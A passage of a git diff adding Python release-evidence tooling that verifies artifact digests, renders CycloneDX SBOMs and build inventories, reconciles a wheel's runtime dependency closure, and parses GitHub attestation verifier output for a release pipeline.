filename.endswith(".cdx.json"): + subject = _sbom_subject_digest(document) + if subject is None or subject not in admitted: + raise AdmissionError( + "admission-sbom-foreign-subject", + f"{filename} does not bind an admitted output subject", + ) + return + if isinstance(document, Mapping) and document.get("schema_version") == BUILD_INVENTORY_SCHEMA_VERSION: + recorded = {item.get("sha256") for item in document.get("subjects", []) or () if isinstance(item, Mapping)} + if not recorded or not recorded <= admitted: + raise AdmissionError( + "admission-inventory-subject-mismatch", + f"{filename} records a subject that was not admitted", + ) + + +def _verify_evidence( + evidence_dir: Path, + index: Mapping[str, Any], + subject_digests: Mapping[str, str], +) -> dict[str, str]: + """Admit the evidence directory against a fixed contract, not the index alone.""" + + declared = {record["filename"]: record for record in index["evidence"]} + _require_declared_set(evidence_dir, declared) + documents = _load_declared(evidence_dir, declared) + + admitted = set(subject_digests.values()) + for filename, document in documents.items(): + _check_document_subjects(filename, document, admitted) + + digests = {filename: record["sha256"] for filename, record in declared.items()} + + # The index is evidence too. It is not listed in its own `evidence` array, + # so bind it explicitly and require its attestation alongside the rest. + index_path = evidence_dir / INDEX_FILENAME + if not index_path.is_file() or index_path.is_symlink(): + raise AdmissionError( + "admission-evidence-missing", + f"{INDEX_FILENAME} is absent from the evidence directory", + ) + digests[INDEX_FILENAME] = digest_file(index_path)[1] + return digests + + +def _verify_attestations( + digests: Iterable[str], + attestations: Mapping[str, ProducerIdentity], + approved_producers: Sequence[ProducerIdentity], +) -> None: + approved = set(approved_producers) + for digest in digests: + producer = attestations.get(digest) + if producer is None: + raise AdmissionError( + "admission-attestation-missing", + "an admitted artifact has no verified attestation", + ) + if producer not in approved: + raise AdmissionError( + "admission-attestation-foreign-producer", + "an attestation was produced by an identity that is not approved", + ) + + +def verify_admission( + *, + distribution_dir: Path, + evidence_dir: Path, + index: Mapping[str, Any], + attestations: Mapping[str, ProducerIdentity], + approved_producers: Sequence[ProducerIdentity], + expected: ReleaseIdentity, + policy_hashes: Mapping[str, str], +) -> None: + """Refuse the release unless every subject and sidecar is admissible. + + Expected identities come from the trusted verifying context, never from the + evidence being verified, so a replayed or foreign bundle cannot describe + itself into acceptance. + """ + + if index.get("schema_version") != SCHEMA_VERSION: + raise AdmissionError( + "admission-index-unsupported", + "evidence index schema version is not supported", + ) + + release = index.get("release") + if not isinstance(release, Mapping): + raise AdmissionError("admission-index-unsupported", "evidence index has no release identity") + if ( + release.get("repository") != expected.repository + or release.get("run_id") != expected.run_id + or release.get("run_attempt") != expected.run_attempt + or release.get("source_sha") != expected.source_sha + or release.get("tag") != expected.tag + ): + raise AdmissionError( + "admission-run-identity-mismatch", + "evidence was produced by a different repository, run, attempt or source revision", + ) + + recorded_policy = index.get("policy") + if not isinstance(recorded_policy, Mapping) or dict(recorded_policy) != dict(policy_hashes): + raise AdmissionError( + "admission-policy-hash-mismatch", + "evidence records policy hashes that differ from the verifying tree", + ) + + subject_digests = _verify_subjects(distribution_dir, index) + evidence_digests = _verify_evidence(evidence_dir, index, subject_digests) + _verify_attestations( + [*subject_digests.values(), *evidence_digests.values()], + attestations, + approved_producers, + ) + + +__all__ = [ + "BUILD_INVENTORY_SCHEMA_VERSION", + "ReleaseIdentity", + "INDEX_FILENAME", + "REQUIRED_EVIDENCE", + "MAX_EVIDENCE_BYTES", + "SCHEMA_VERSION", + "SDIST_SUFFIX", + "WHEEL_SUFFIX", + "AdmissionError", + "ProducerIdentity", + "build_evidence_index", + "digest_file", + "verify_admission", +] diff --git a/tools/release_evidence_documents.py b/tools/release_evidence_documents.py new file mode 100644 index 000000000..2da6bb76f --- /dev/null +++ b/tools/release_evidence_documents.py @@ -0,0 +1,209 @@ +#!/usr/bin/env python3 +"""Render the release evidence documents for one set of output subjects. + +Two documents are produced, deliberately kept apart: + +* a CycloneDX runtime SBOM per distribution subject, describing what the + distribution depends on at run time; +* a build/tool/native input inventory, describing what produced it. + +Conflating them is the failure issue #1226 exists to prevent, so the inventory +never carries runtime components and the SBOM never carries build inputs. Both +bind the exact output subject digest: a filename or a matching version does not +establish which bytes a document describes. + +The CycloneDX document is emitted directly rather than through a generator +dependency. The risk-bearing work — parsing wheel metadata and evaluating +markers — is done by the maintained `packaging` library in +`tools/release_evidence_sbom.py`; what remains here is serializing already +validated in-memory data into a published, stable schema. Keeping that +dependency-free is what lets the acceptance tests run in the project +environment, where a tool-closure-only dependency would be unimportable. + +No timestamp or serial number is emitted, so the same inputs always produce the +same bytes and the evidence digest is stable across retries. +""" + +from __future__ import annotations + +import re +from collections.abc import Mapping, Sequence +from dataclasses import dataclass +from typing import Any + +from tools.release_evidence_sbom import ReconciledClosure + +CYCLONEDX_SPEC_VERSION = "1.6" +BUILD_INVENTORY_SCHEMA_VERSION = "raes-build-inventory/v1" +_SHA256_RE = re.compile(r"^[0-9a-f]{64}$") +_EXTRA_PROPERTY = "raes:extra" + + +@dataclass(frozen=True) +class BuildInputs: + """What produced a release, as one value. + + Interpreter, backend, tools, native inputs, actions and runner are recorded + together and never independently, so they travel together too. + """ + + interpreter: Mapping[str, Any] + build_backend: Mapping[str, Any] + tool_inputs: Sequence[Mapping[str, Any]] + native_inputs: Sequence[Mapping[str, Any]] + actions: Sequence[Mapping[str, Any]] + runner: Mapping[str, Any] + + +class EvidenceDocumentError(Exception): + """An evidence rendering failure carrying a stable, publishable code.""" + + def __init__(self, code: str, message: str) -> None: + super().__init__(message) + self.code = code + + +def _require_digest(value: object, *, subject: str) -> str: + if not isinstance(value, str) or not _SHA256_RE.fullmatch(value): + raise EvidenceDocumentError( + "evidence-subject-digest-invalid", + f"{subject} must carry a lowercase SHA-256 digest", + ) + return value + + +def _purl(name: str, version: str) -> str: + return f"pkg:pypi/{name}@{version}" + + +def render_runtime_sbom( + *, + closure: ReconciledClosure, + subject_name: str, + subject_version: str, + subject_filename: str, + subject_digest: str, + subject_role: str, +) -> dict[str, Any]: + """Render one CycloneDX document bound to one exact output subject.""" + + digest = _require_digest(subject_digest, subject=subject_filename) + root_ref = _purl(subject_name, subject_version) + + components: list[dict[str, Any]] = [] + for component in closure.components: + record: dict[str, Any] = { + "type": "library", + "bom-ref": _purl(component.name, component.version), + "name": component.name, + "version": component.version, + "purl": _purl(component.name, component.version), + "scope": component.scope, + } + if component.extra is not None: + record["properties"] = [{"name": _EXTRA_PROPERTY, "value": component.extra}] + components.append(record) + + by_name = {component.name: component for component in closure.components} + dependencies: list[dict[str, Any]] = [ + { + "ref": root_ref, + "dependsOn": sorted(_purl(component.name, component.version) for component in closure.components), + } + ] + for name in sorted(closure.edges): + component = by_name.get(name) + if component is None: + continue + children = [] + for child in closure.edges[name]: + target = by_name.get(child) + if target is not None: + children.append(_purl(target.name, target.version)) + dependencies.append( + { + "ref": _purl(component.name, component.version), + "dependsOn": sorted(children), + } + ) + + return { + "bomFormat": "CycloneDX", + "specVersion": CYCLONEDX_SPEC_VERSION, + "version": 1, + "metadata": { + "component": { + "type": "library", + "bom-ref": root_ref, + "name": subject_name, + "version": subject_version, + "purl": root_ref, + "hashes": [{"alg": "SHA-256", "content": digest}], + "properties": [ + {"name": "raes:subject-filename", "value": subject_filename}, + {"name": "raes:subject-role", "value": subject_role}, + ], + } + }, + "components": components, + "dependencies": dependencies, + } + + +def render_build_inventory( + *, + subjects: Sequence[Mapping[str, Any]], + inputs: BuildInputs, + lock_hashes: Mapping[str, str], + policy_hashes: Mapping[str, str], + release: Mapping[str, Any], + profile_id: str, +) -> dict[str, Any]: + """Render the build/tool/native input inventory for one release. + + `runner` records the selected runner image and whether the host was actually + observed; a runner label alone is a selection, not a host inventory, and is + never recorded as one. Lock and policy hashes stay in separate maps so an + aggregate policy identity is never mistaken for a raw file hash. + """ + + if not subjects: + raise EvidenceDocumentError( + "evidence-subjects-absent", + "build inventory must record at least one output subject", + ) + recorded = [] + for subject in subjects: + filename = str(subject.get("filename", "")) + recorded.append( + { + "role": str(subject.get("role", "")), + "filename": filename, + "sha256": _require_digest(subject.get("sha256"), subject=filename or "subject"), + } + ) + + return { + "schema_version": BUILD_INVENTORY_SCHEMA_VERSION, + "subjects": recorded, + "profile": {"python_closure_profile_id": profile_id}, + "interpreter": dict(inputs.interpreter), + "build_backend": dict(inputs.build_backend), + "tool_inputs": [dict(item) for item in inputs.tool_inputs], + "native_inputs": [dict(item) for item in inputs.native_inputs], + "actions": [dict(item) for item in inputs.actions], + "runner": dict(inputs.runner), + "lock_hashes": dict(lock_hashes), + "policy_hashes": dict(policy_hashes), + "release": dict(release), + } + + +__all__ = [ + "BUILD_INVENTORY_SCHEMA_VERSION", + "BuildInputs", + "CYCLONEDX_SPEC_VERSION", + "EvidenceDocumentError", + "render_build_inventory", + "render_runtime_sbom", +] diff --git a/tools/release_evidence_publication.py b/tools/release_evidence_publication.py new file mode 100644 index 000000000..75fdc4ca8 --- /dev/null +++ b/tools/release_evidence_publication.py @@ -0,0 +1,159 @@ +#!/usr/bin/env python3 +"""Derive the validated publisher handoff for one admitted release (#1227). + +Evidence admission (`release_evidence_admission`) decides whether a release's +declared subjects are present and byte-exact. This module answers the separate +question a credentialed publisher needs answered: *which two files may be +published, and what are their digests*. + +Keeping it apart from admission matters because the consumers differ. Admission +runs against the evidence bundle; these values cross a job boundary into a job +that holds publication credentials and no repository checkout. The expected +version therefore comes from the trusted release tag rather than from the +record being read, so an index that correctly describes a different release +cannot name itself into this one. +""" + +from __future__ import annotations + +import re +from collections.abc import Mapping, Sequence +from typing import Any + +from tools.release_evidence_admission import ( + SDIST_SUFFIX, + WHEEL_SUFFIX, + AdmissionError, +) + +# The published distribution name. Only a stable SemVer release is publishable, +# so the tag maps to exactly one PEP 440 release version with no normalization +# ambiguity to resolve at the publication boundary. +_PROJECT_NAME = "raes" +_STABLE_RELEASE_TAG = re.compile(r"^v(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)$") + +# The roles a publisher consumes, and the scalars it receives for each, in a +# fixed order. A publisher gets these validated values and nothing else: it +# must not read the evidence index, because it holds publication credentials +# and the index travels with the artifact it describes. +_PUBLISHED_ROLES = ("wheel", "sdist") +_PUBLICATION_OUTPUTS = ("wheel_name", "wheel_sha256", "sdist_name", "sdist_sha256") + + +def release_version(expected_tag: str) -> str: + """Return the release version the tag names, refusing anything unstable.""" + + if not _STABLE_RELEASE_TAG.match(expected_tag): + raise AdmissionError( + "admission-release-tag-malformed", + "expected a stable SemVer release tag such as v1.0.0", + ) + return expected_tag[1:] + + +def _subjects_by_role(index: Mapping[str, Any]) -> dict[str, Mapping[str, Any]]: + """Return the one declared subject per published role.""" + + declared = index.get("subjects") + if not isinstance(declared, Sequence) or isinstance(declared, (str, bytes)): + raise AdmissionError("admission-index-unsupported", "evidence index has no subject set") + + by_role: dict[str, Mapping[str, Any]] = {} + for item in declared: + if not isinstance(item, Mapping): + raise AdmissionError("admission-index-unsupported", "evidence index has a malformed subject") + role = item.get("role") + if not isinstance(role, str): + continue + if role in by_role: + raise AdmissionError( + "admission-subject-cardinality", + f"evidence index declares more than one {role} subject", + ) + by_role[role] = item + + for role in _PUBLISHED_ROLES: + if role not in by_role: + raise AdmissionError( + "admission-subject-cardinality", + f"evidence index does not declare a published {role}", + ) + return by_role + + +def _subject_identity(role: str, subject: Mapping[str, Any]) -> tuple[str, str]: + filename = subject.get("filename") + digest = subject.get("sha256") + if not isinstance(filename, str) or not isinstance(digest, str): + raise AdmissionError("admission-index-unsupported", f"admitted {role} has no name and digest") + return filename, digest + + +def _require_release_name(role: str, filename: str, version: str) -> None: + """Refuse an admitted name that is not this release's distribution. + + A wheel carries build tags after the version, so its version field is + delimited rather than terminal. Matching the delimiter keeps `1.2.30` from + satisfying a `1.2.3` release. + """ + + if role == "sdist": + correct = filename == f"{_PROJECT_NAME}-{version}{SDIST_SUFFIX}" + else: + correct = filename.startswith(f"{_PROJECT_NAME}-{version}-") and filename.endswith(WHEEL_SUFFIX) + if not correct: + raise AdmissionError( + "admission-subject-version-mismatch", + f"admitted {role} {filename!r} is not a {_PROJECT_NAME} {version} distribution", + ) + + +def admitted_publication_subjects(index: Mapping[str, Any] | Any, *, expected_tag: str) -> dict[str, str]: + """Return the validated publisher handoff for one admitted release. + + Size and digest equality against the files themselves belongs to + admission's subject verification; this decides that the admitted *names* + belong to the release being published, which no other check does. + """ + + if not isinstance(index, Mapping): + raise AdmissionError("admission-index-unsupported", "evidence index is not a JSON object") + + version = release_version(expected_tag) + by_role = _subjects_by_role(index) + + subjects: dict[str, str] = {} + for role in _PUBLISHED_ROLES: + filename, digest = _subject_identity(role, by_role[role]) + _require_release_name(role, filename, version) + subjects[f"{role}_name"] = filename + subjects[f"{role}_sha256"] = digest + return {key: subjects[key] for key in _PUBLICATION_OUTPUTS} + + +def render_publication_outputs(subjects: Mapping[str, str]) -> str: + """Render the handoff as fixed `KEY=value` lines for a workflow output. + + Each value lands in a line-delimited Actions output file, so a newline in + one scalar would let it declare another. The values are already validated + names and hex digests; refusing a control character here keeps that + guarantee at the sink rather than relying on it holding upstream. + """ + + lines = [] + for key in _PUBLICATION_OUTPUTS: + value = subjects[key] + if not value or any(character in value for character in "\r\n="): + raise AdmissionError( + "admission-publication-output-unsafe", + f"admitted {key} is not representable as a workflow output", + ) + lines.append(f"{key}={value}") + return "\n".join(lines) + + +__all__ = [ + "admitted_publication_subjects", + "release_version", + "render_publication_outputs", +] diff --git a/tools/release_evidence_sbom.py b/tools/release_evidence_sbom.py new file mode 100644 index 000000000..ac0c78063 --- /dev/null +++ b/tools/release_evidence_sbom.py @@ -0,0 +1,379 @@ +#!/usr/bin/env python3 +"""Reconcile the runtime dependency closure of one built distribution. + +The release smoke environment installs every projected requirement and then the +candidate with `--no-deps`, so it also holds the published `dev` and `docs` +extras. Reading that environment back would describe the developer closure +rather than the distribution, which is exactly the confusion issue #1226 +forbids. The closure below is reconciled from three independent sources: + +* the built wheel's own `Requires-Dist` metadata, read from the archive without + installing, importing or otherwise executing the candidate; +* the reviewed locked selection, which supplies exact versions; +* the observed installation, which proves the selection was realizable. + +Any disagreement between them fails with a stable code. A dependency edge is +never silently dropped, because an omitted edge is indistinguishable from an +absent dependency once the SBOM is published. +""" + +from __future__ import annotations + +import zipfile +from collections.abc import Mapping, Sequence +from dataclasses import dataclass, field +from pathlib import Path +from typing import Any + +from packaging.markers import Marker +from packaging.metadata import Metadata +from packaging.requirements import Requirement +from packaging.utils import canonicalize_name +from packaging.version import InvalidVersion, Version + +from tools.generate_python_closures_locks import locked_closure + +# A wheel's METADATA is small; anything larger is malformed or hostile. The +# bound applies to the decompressed size so a compressed member cannot expand +# without limit. +MAX_METADATA_BYTES = 1 * 1024 * 1024 + + +class RuntimeClosureError(Exception): + """A reconciliation failure carrying a stable, publishable failure code.""" + + def __init__(self, code: str, message: str) -> None: + super().__init__(message) + self.code = code + + +_ROOT_NAME = "raes" + + +@dataclass(frozen=True) +class ReconciledClosure: + """One reconciled runtime closure and its dependency edges.""" + + components: list[ClosureComponent] = field(default_factory=list) + edges: dict[str, list[str]] = field(default_factory=dict) + + +@dataclass(frozen=True) +class ClosureComponent: + """One reconciled runtime component of the distribution.""" + + name: str + version: str + scope: str + extra: str | None = None + + +def _metadata_member(archive: zipfile.ZipFile) -> zipfile.ZipInfo: + candidates = [ + info + for info in archive.infolist() + if info.filename.endswith(".dist-info/METADATA") and info.filename.count("/") == 1 + ] + if len(candidates) != 1: + raise RuntimeClosureError( + "wheel-metadata-absent", + "wheel must contain exactly one top-level .dist-info/METADATA member", + ) + return candidates[0] + + +def wheel_metadata(wheel_path: Path) -> Metadata: + """Read one built wheel's declared metadata straight from the archive.""" + + try: + with zipfile.ZipFile(wheel_path) as archive: + member = _metadata_member(archive) + if member.file_size > MAX_METADATA_BYTES: + raise RuntimeClosureError( + "wheel-metadata-oversized", + "wheel metadata exceeds the reviewed size bound", + ) + with archive.open(member) as handle: + payload = handle.read(MAX_METADATA_BYTES + 1) + except (OSError, zipfile.BadZipFile) as exc: + raise RuntimeClosureError("wheel-metadata-unreadable", "wheel archive could not be read") from exc + if len(payload) > MAX_METADATA_BYTES: + raise RuntimeClosureError( + "wheel-metadata-oversized", + "wheel metadata exceeds the reviewed size bound", + ) + try: + return Metadata.from_email(payload.decode("utf-8"), validate=False) + except ValueError as exc: + raise RuntimeClosureError("wheel-metadata-invalid", "wheel metadata could not be parsed") from exc + + +def _applies(requirement: Requirement, environment: Mapping[str, str], extra: str | None) -> bool: + """Evaluate one requirement's marker for a target and optional-group context.""" + + if requirement.marker is None: + return extra is None + return bool(requirement.marker.evaluate(environment={**environment, "extra": extra or ""})) + + +def _selected_extra( + requirement: Requirement, + environment: Mapping[str, str], + extras: Sequence[str], +) -> tuple[bool, str | None]: + """Classify a requirement as base, contributed by an extra, or unselected. + + This uses only the documented marker evaluation: a requirement belongs to + the base closure when its marker holds with no extra in context, and to an + extra when it holds only once that extra is supplied. Reading `packaging`'s + internal marker tree to recover the extra name would couple the reviewed + evidence to a private API. + """ + + if requirement.marker is None or _applies(requirement, environment, None): + return True, None + for extra in extras: + if _applies(requirement, environment, extra): + return True, extra + return False, None + + +def _version(value: str, *, name: str, source: str) -> Version: + try: + return Version(value) + except InvalidVersion as exc: + raise RuntimeClosureError( + "runtime-closure-invalid-version", + f"{source} version for {name} is not a valid version", + ) from exc + + +def _declared_roots( + metadata: Metadata, + environment: Mapping[str, str], + extras: Sequence[str], +) -> dict[str, list[Requirement]]: + """Group the wheel's applicable declared requirements by contributing extra.""" + + roots: dict[str, list[Requirement]] = {"": []} + for extra in extras: + roots[extra] = [] + for requirement in metadata.requires_dist or (): + applies, extra = _selected_extra(requirement, environment, extras) + if applies: + roots[extra or ""].append(requirement) + return roots + + +def _resolve( + lock: Mapping[str, Any], + environment: Mapping[str, str], + requirements: Sequence[Requirement], +) -> dict[str, Mapping[str, Any]]: + """Resolve one transitive closure from explicit declared roots. + + The incumbent locked closure walker is seeded through its existing + `initial_dependencies` seam rather than reimplemented, so marker filtering, + extras propagation and multi-version refusal keep one definition. + """ + + if not requirements: + return {} + seeds: list[dict[str, Any]] = [] + for requirement in requirements: + seed: dict[str, Any] = {"name": canonicalize_name(requirement.name)} + if requirement.extras: + # `uvicorn[standard]` is a declared runtime dependency whose extra + # tree belongs to the closure. Dropping the qualifier here would + # silently omit those packages from the published SBOM. + seed["extra"] = sorted(requirement.extras) + seeds.append(seed) + try: + packages = locked_closure( + lock, + environment, + root_name=_ROOT_NAME, + include_root_optional=False, + initial_dependencies=seeds, + ) + except ValueError as exc: + raise RuntimeClosureError( + "runtime-closure-unlocked-dependency", + "declared dependency could not be resolved against the reviewed lock", + ) from exc + return {canonicalize_name(str(package["name"])): package for package in packages} + + +def _edges( + selected: Mapping[str, Mapping[str, Any]], + environment: Mapping[str, str], +) -> dict[str, list[str]]: + """Recover the dependency edges between selected packages.""" + + graph: dict[str, list[str]] = {} + for key, package in selected.items(): + names = [] + for dependency in package.get("dependencies", []) or (): + if not isinstance(dependency, Mapping): + continue + marker = dependency.get("marker") + if isinstance(marker, str) and not Marker(marker).evaluate(environment={**environment, "extra": ""}): + continue + child = canonicalize_name(str(dependency.get("name", ""))) + if child in selected and child != key: + names.append(child) + graph[key] = sorted(dict.fromkeys(names)) + return graph + + +def reconcile_runtime_closure( + metadata: Metadata, + *, + lock: Mapping[str, Any], + installed_versions: Mapping[str, str], + environment: Mapping[str, str], + extras: Sequence[str] = (), +) -> ReconciledClosure: + """Reconcile declared metadata, locked selection and observed installation. + + The base closure is resolved on its own so it stays identifiable + independently of extras; each published extra is then resolved additively and + everything it introduces is labelled with that extra rather than recorded as + unconditional runtime. + """ + + provided = {str(value) for value in metadata.provides_extra or ()} + unknown = sorted(set(extras) - provided) + if unknown: + raise RuntimeClosureError( + "runtime-closure-unknown-extra", + f"distribution does not publish the requested extras: {unknown}", + ) + + roots = _declared_roots(metadata, environment, extras) + base = _resolve(lock, environment, roots[""]) + _check_roots(roots[""], base) + + selected: dict[str, tuple[Mapping[str, Any], str | None]] = {key: (package, None) for key, package in base.items()} + for extra in extras: + combined = _resolve(lock, environment, [*roots[""], *roots[extra]]) + _check_roots(roots[extra], combined) + for key, package in combined.items(): + if key not in selected: + selected[key] = (package, extra) + + installed = {canonicalize_name(name): value for name, value in installed_versions.items()} + components = [] + for key in sorted(selected): + package, extra = selected[key] + components.append( + _component( + name=str(package["name"]), + locked_value=str(package.get("version", "")), + installed_value=installed.get(key), + extra=extra, + ) + ) + _check_specifiers(roots, {c.name: c.version for c in components}) + graph = _edges({key: package for key, (package, _extra) in selected.items()}, environment) + return ReconciledClosure(components=components, edges=graph) + + +def _check_roots( + requirements: Sequence[Requirement], + resolved: Mapping[str, Mapping[str, Any]], +) -> None: + for requirement in requirements: + if canonicalize_name(requirement.name) not in resolved: + raise RuntimeClosureError( + "runtime-closure-unlocked-dependency", + f"declared dependency {requirement.name} is absent from the reviewed lock", + ) + + +def _check_specifiers( + roots: Mapping[str, Sequence[Requirement]], + versions: Mapping[str, str], +) -> None: + by_key = {canonicalize_name(name): value for name, value in versions.items()} + for requirements in roots.values(): + for requirement in requirements: + selected = by_key.get(canonicalize_name(requirement.name)) + if selected is None: + continue + version = _version(selected, name=requirement.name, source="locked") + if requirement.specifier and not requirement.specifier.contains(version, prereleases=True): + raise RuntimeClosureError( + "runtime-closure-specifier-violation", + f"selected version of {requirement.name} violates the declared specifier", + ) + + +def _component( + *, + name: str, + locked_value: str, + installed_value: str | None, + extra: str | None, +) -> ClosureComponent: + if installed_value is None: + raise RuntimeClosureError( + "runtime-closure-uninstalled-dependency", + f"selected dependency {name} is absent from the observed installation", + ) + locked_version = _version(locked_value, name=name, source="locked") + installed_version = _version(installed_value, name=name, source="installed") + if locked_version != installed_version: + raise RuntimeClosureError( + "runtime-closure-version-disagreement", + f"locked and installed versions of {name} disagree", + ) + return ClosureComponent( + name=name, + version=str(locked_version), + scope="optional" if extra else "required", + extra=extra, + ) + + +__all__ = [ + "MAX_METADATA_BYTES", + "observed_installation", + "ClosureComponent", + "ReconciledClosure", + "RuntimeClosureError", + "reconcile_runtime_closure", + "wheel_metadata", +] + + +def observed_installation(environment_dir: Path) -> dict[str, str]: + """Read the versions actually installed in one environment. + + Distribution names and versions are taken from `*.dist-info` directory + names. Nothing in the environment is imported or executed, so reading a + candidate installation cannot run candidate code. + """ + + site_packages = sorted(environment_dir.glob("lib/python*/site-packages")) + if not site_packages: + site_packages = sorted(environment_dir.glob("Lib/site-packages")) + if not site_packages: + raise RuntimeClosureError( + "observed-installation-absent", + "environment has no site-packages directory to observe", + ) + installed: dict[str, str] = {} + for directory in site_packages: + for dist_info in sorted(directory.glob("*.dist-info")): + stem = dist_info.name[: -len(".dist-info")] + name, separator, version = stem.rpartition("-") + if not separator or not name: + continue + installed[canonicalize_name(name)] = version + if not installed: + raise RuntimeClosureError( + "observed-installation-empty", + "environment records no installed distributions", + ) + return installed diff --git a/tools/release_evidence_verifier.py b/tools/release_evidence_verifier.py new file mode 100644 index 000000000..c8fbbf3d8 --- /dev/null +++ b/tools/release_evidence_verifier.py @@ -0,0 +1,151 @@ +#!/usr/bin/env python3 +"""Drive the maintained attestation verifier and read back a producer identity. + +Signature, certificate chain and issuer verification belong to `gh attestation +verify`; reimplementing cryptography or certificate handling here is explicitly +out of scope. What this module owns is the boundary around that client: + +* a fixed argument vector, so no candidate-controlled value is ever interpolated + into shell source; +* the expected identity, which is supplied by the trusted calling context rather + than read out of the bundle being verified; +* bounded, strict parsing of the verifier's output, so a crash, a skip, an empty + result or malformed JSON fails rather than being read as a pass. +""" + +from __future__ import annotations + +import json +from collections.abc import Mapping +from typing import TypeAlias + +from tools.release_evidence_admission import ProducerIdentity + +# The verifier emits a small JSON array. Anything larger is malformed output or +# a hostile response rather than a verdict. +# The verifier emits a JSON document tree; naming it beats `Any`. +JsonValue: TypeAlias = "str | int | float | bool | None | list[JsonValue] | dict[str, JsonValue]" + +MAX_VERIFIER_OUTPUT_BYTES = 1 * 1024 * 1024 + +_GITHUB_PREFIX = "https://github.com/" + + +class VerifierError(Exception): + """A verification-boundary failure carrying a stable, publishable code.""" + + def __init__(self, code: str, message: str) -> None: + super().__init__(message) + self.code = code + + +def build_verify_command( + *, + artifact_path: str, + repository: str, + signer_workflow: str, +) -> list[str]: + """Build the fixed argument vector for one artifact verification. + + The expected repository and signer workflow are pinned from reviewed policy, + so a bundle signed for a different repository or workflow cannot satisfy this + invocation even when its signature is cryptographically valid. + """ + + return [ + "gh", + "attestation", + "verify", + artifact_path, + "--repo", + repository, + "--signer-workflow", + signer_workflow, + "--format", + "json", + ] + + +def _repository_from_uri(value: object) -> str: + if not isinstance(value, str) or not value.startswith(_GITHUB_PREFIX): + raise VerifierError( + "verifier-identity-untrusted-host", + "attestation source repository is not a github.com URI", + ) + return value[len(_GITHUB_PREFIX) :] + + +def _workflow_from_uri(value: object) -> str: + if not isinstance(value, str) or not value.startswith(_GITHUB_PREFIX): + raise VerifierError( + "verifier-identity-untrusted-host", + "attestation build signer is not a github.com URI", + ) + return value[len(_GITHUB_PREFIX) :] + + +def _sole_attestation(payload: str) -> JsonValue: + """Decode the verifier's output down to exactly one attestation.""" + + if len(payload.encode("utf-8", errors="ignore")) > MAX_VERIFIER_OUTPUT_BYTES: + raise VerifierError( + "verifier-output-oversized", + "attestation verifier output exceeds the reviewed size bound", + ) + try: + document: JsonValue = json.loads(payload) + except ValueError as exc: + raise VerifierError( + "verifier-output-unparsable", + "attestation verifier output could not be parsed", + ) from exc + if not isinstance(document, list) or not document: + raise VerifierError( + "verifier-no-attestation", + "attestation verifier returned no attestation", + ) + if len(document) != 1: + raise VerifierError( + "verifier-ambiguous-attestation", + "attestation verifier returned more than one attestation for one subject", + ) + return document[0] + + +def _certificate(entry: JsonValue) -> Mapping[str, JsonValue]: + """Reach the signing certificate, refusing any shape that lacks one.""" + + result = entry.get("verificationResult") if isinstance(entry, Mapping) else None + signature = result.get("signature") if isinstance(result, Mapping) else None + certificate = signature.get("certificate") if isinstance(signature, Mapping) else None + if not isinstance(certificate, Mapping): + raise VerifierError( + "verifier-identity-absent", + "attestation carries no certificate identity", + ) + return certificate + + +def parse_verifier_output(payload: str) -> ProducerIdentity: + """Read exactly one clean verdict out of the maintained verifier's output.""" + + certificate = _certificate(_sole_attestation(payload)) + issuer = certificate.get("issuer") + if not isinstance(issuer, str) or not issuer: + raise VerifierError( + "verifier-identity-absent", + "attestation carries no issuer identity", + ) + return ProducerIdentity( + issuer=issuer, + repository=_repository_from_uri(certificate.get("sourceRepositoryURI")), + workflow_ref=_workflow_from_uri(certificate.get("buildSignerURI")), + ) + + +__all__ = [ + "MAX_VERIFIER_OUTPUT_BYTES", + "VerifierError", + "build_verify_command", + "parse_verifier_output", +] diff --git a/tools/release_evidence_workflows.py b/tools/release_evidence_workflows.py new file mode 100644 index 000000000..89c4d17cd --- /dev/null +++ b/tools/release_evidence_workflows.py @@ -0,0 +1,52 @@ +"""Collect pinned action inputs from native release and reusable workflows.""" + +from __future__ import annotations + +from collections.abc import Mapping +from pathlib import Path +from typing import Any + +from implementations.tooling.action_policy_yaml import parse_yaml_mapping +from tools.tooling_artifact_policy_common import as_list, as_mapping + + +class WorkflowInputError(ValueError): + """A workflow cannot supply safely parsed, immutable action identities.""" + + +def _workflow_uses(workflow: Mapping[str, Any]) -> list[str]: + uses = [] + for job in as_mapping(workflow.get("jobs")).values(): + for entry in [as_mapping(job), *as_list(as_mapping(job).get("steps"))]: + reference = as_mapping(entry).get("uses") + if isinstance(reference, str): + uses.append(reference) + return uses + + +def _pinned_action(reference: str) -> tuple[str, str]: + action, separator, commit = reference.partition("@") + if not separator or len(commit) != 40 or any(c not in "0123456789abcdef" for c in commit): + raise WorkflowInputError("release action must use a commit pin") + return action, commit + + +def workflow_actions(repo_root: Path) -> list[dict[str, str]]: + """Record pinned actions from the release workflow and its reusable calls.""" + pending = [".github/workflows/release-please.yml"] + visited: set[str] = set() + actions: set[tuple[str, str]] = set() + while pending: + path = pending.pop() + if path in visited: + continue + visited.add(path) + workflow, failures = parse_yaml_mapping(repo_root, path) + if failures or workflow is None: + raise WorkflowInputError("release workflow cannot be read safely") + for uses in _workflow_uses(workflow): + if uses.startswith("./.github/workflows/"): + pending.append(uses[2:]) + else: + actions.add(_pinned_action(uses)) + return [{"action": action, "commit": commit} for action, commit in sorted(actions)] diff --git a/tools/requirement_context.py b/tools/requirement_context.py new file mode 100644 index 000000000..6a2f6ea33 --- /dev/null +++ b/tools/requirement_context.py @@ -0,0 +1,61 @@ +"""One offline requirement-context resolver for local gates, hooks and CI.""" + +from __future__ import annotations + +import argparse +import os +import subprocess +import sys +from pathlib import Path + +from tools.policy.requirement_governance import requirement_uid_from_context +from tools.policy.requirement_scope import RequirementScope, RequirementScopeError, load_requirement_scope + +REPO_ROOT = Path(__file__).resolve().parents[1] + + +def current_requirement_branch(repo_root: Path) -> str: + branch = os.environ.get("RAES_REQUIREMENT_BRANCH", "").strip() or os.environ.get("GITHUB_HEAD_REF", "").strip() + if branch: + return branch + return subprocess.run( + ["git", "branch", "--show-current"], + cwd=repo_root, + text=True, + capture_output=True, + check=True, + ).stdout.strip() + + +def resolve_requirement_context( + repo_root: Path, + branch: str | None, + explicit_uid: str | None = None, +) -> tuple[str | None, RequirementScope | None]: + uid = requirement_uid_from_context(branch, explicit_uid) + scope = load_requirement_scope(repo_root, branch) + if scope is not None: + if uid and uid != scope.primary_requirement_uid: + raise RequirementScopeError("Selected requirement conflicts with the issue scope's primary requirement.") + uid = scope.primary_requirement_uid + return uid, scope + + +def main(argv: list[str] | None = None) -> int: + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument("--branch", help="Exact workflow branch when the checkout is detached.") + args = 